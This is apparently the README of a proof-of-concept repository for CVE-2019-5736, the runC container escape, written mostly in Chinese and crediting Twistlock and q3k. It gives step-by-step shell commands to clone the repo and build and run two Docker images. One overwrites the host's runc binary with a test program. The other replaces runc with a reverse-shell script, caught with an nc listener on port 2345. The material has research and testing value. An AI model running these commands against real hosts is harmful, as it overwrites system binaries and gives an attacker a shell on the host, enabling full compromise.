博文: [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
这里我想提一下,这个漏洞利用的原始开发者是Twistlock实验室的Yuval Avrahami。
请注意,运行POC会覆盖主机上的runC二进制文件。
强烈建议你在运行POC之前备份你的runC二进制文件(通常位于/usr/sbin/runc)。
克隆仓库:
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
使用一个打印字符串的简单程序覆盖runc。
运行exec POC:
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
使用一个连接到localhost:2345的简单反弹shell bash脚本覆盖runc。
监听反弹shell:
$ nc -nvlp 2345
从另一个shell,运行恶意镜像POC:
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
See [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Explaining CVE-2019-5736") for an explanation of CVE-2019-5736 and the POCs.
The malicious image POC is heavily based on [q3k's POC](https://github.com/q3k/cve-2019-5736-poc), so all credit goes to him.